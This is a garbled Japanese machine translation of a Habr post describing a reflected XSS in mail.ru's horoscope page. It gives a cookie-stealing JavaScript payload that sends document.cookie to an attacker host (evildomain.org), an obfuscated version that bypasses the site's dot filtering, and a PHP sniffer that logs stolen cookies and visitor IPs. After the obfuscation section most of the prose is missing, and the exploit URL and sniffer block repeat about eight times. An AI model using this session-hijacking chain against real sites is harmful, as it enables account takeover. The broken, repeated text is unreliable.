mail.ruのパッシブXSSおよびすぐに利用可能なエクスプロイト

することは何もありませんでした。

ある日、私は、普通の、目立たない、バイオリンの脚本家に座って、寒いが、それほど快適ではないPCの後ろに座っていました。 最近、彼はさまざまな形式のさまざまな文字セットを、入力フィールドのhtmlブロックを破壊するという1つの目的のために、フォーラムやWebサイトにさまざまな形で詰め込むのが好きでした。 彼は変人であり、人々を助けることを楽しんでいた。 リソース管理者は、彼の助けの有無に関係なく、発見された脆弱性を排除し、そのようなケースは彼にとって壮大な勝利でした。

しかし、彼は次のフォーラムやプライベートサイトに行かなかったので、この夜は異常でした。彼はmail.ruを開いて、なぜだと思いましたか?

はじめに...

最初のステップは、被害者を特定することでした


犠牲者のために、「女性」と「ホロスコープ」が選ばれました。 選択の原則は「どのプロジェクトが専門家にとって面白くないですか?」でした。

「ホロスコープ」に設定された「レディ」をすぐにキックします。 それから私はすべての場面で星占いのブロックに興味がありました。それはページが更新されると変わりました。



プレーンな">テストを挿入すると、次のように表示されます。


まず第一に、悪くない。 次に、zlokodを送信するフォームデータを確認します。 ページソースを開き、脆弱なデータ出力フィールドのコードを確認します。


入力フォームコード:


および入力フィールドコード:


ここから得られるものは、次のようなリンクです。
http:\\horo.mail.ru/personal.html?type=prg&so_nm= XSS

ペンテスト

次のステップは、文字をフィルタリングするためにフィールドをチェックすることです。

リンクをたどってください:
http:\\horo.mail.ru/personal.html?type=prg&so_nm= text "> -.- <aで、ポイントがフィルターされていることがわかります


<a 、壊れたタグの残骸からの短いごみカッターとして使用されます。 そうしないと、次のように前のタグを閉じる破片があります。


フィールドがポイントをフィルタリングする、つまり
 "><script>alert();<script> 


動作しますが、
いいえ、なぜなら 出力では


難読化ツール

Cookieをスニファーに送信するコードをページで実行する必要があります。たとえば、次のとおりです。
 img=new Image(); img.src='http://evildomain.org/g/sniff.php?cookie='+document.cookie; 


コード内のポイントのフィルタリングをバイパスするには、難読化する必要があります;このため、スクリプトは異なるリソースを使用します;この特定のものでは、 www.javascriptobfuscator.com / default.aspxが使用されました

入力時に通常のJSを彼に渡します。
 img=new Image(); img.src='http://evildomain.org/g/sniff.php?cookie='+document.cookie; 


出力では、ポイントのないかなり邪悪なJSを取得します。
var _0xdfd0=["\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x65\x76\x69\x6C\x64\x6F\x6D\x61\x69\x6E\x2E\x6F\x72\x67\x2F\x67\x2F\x73\x6E\x69\x66\x66\x2E\x70\x68\x70\x3F\x63\x6F\x6F\x6B\x69\x65\x3D","\x63\x6F\x6F\x6B\x69\x65"];img= new Image();img[_0xdfd0[0]]=_0xdfd0[1]+document[_0xdfd0[2]];

XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
フレーム XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a

http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a


http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
     XSS,   : 
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a


http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a


http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a


http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a


http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a


http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .
XSS, :
http:\\horo.mail.ru/personal.html?type=prg&so_nm= "><a


http://evildomain.org/g/sniff.php , , :
<?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("./sniff.txt", "a"); fwrite($file, $text); fclose($file); } $date=date("[D|d/m/Y|H:i]"); $ip=getenv("Remote_addr"); $real_ip=getenv("HTTP_X_FORWARDED_FOR"); $otkuda=getenv("HTTP_REFERER"); $browser=getenv("HTTP_USER_AGENT"); $win=getenv("windir"); $uid=implode($argv," "); $fp=fopen("./log.txt","a"); fputs($fp,"$date\t|$uid|\t$ip($real_ip)\t$browser\t$otkuda\t$win\n"); fclose($fp); ?>

.


IE :). , Chrome, XSS.

html , , mail.ru ( FF Opera) :


, , mail.ru, .

mail.ru
29.06.2012: Ticket#2012062921010318
:

.

.
.

.

, .

Mail.ru


, mail.ru .

Source: https://habr.com/ru/post/J149134/


All Articles